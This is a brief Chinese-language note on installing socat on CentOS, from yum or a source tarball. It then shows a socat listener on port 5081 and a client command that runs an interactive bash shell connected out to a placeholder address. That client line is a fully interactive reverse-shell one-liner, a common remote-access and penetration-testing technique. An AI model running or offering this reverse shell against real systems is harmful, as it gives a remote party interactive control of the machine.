1,安装socat库 (centos)
yum install socat
http://www.dest-unreach.org/socat/download/ socat库下载地址
下载 socat-1.7.3.4.tar.gz
2,安装方式
./configure
make
make install
3,使用方式
server端:
socat file:`tty`,raw,echo=0 tcp-listen:5081
client端:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:xx.xx.xx.xx:5081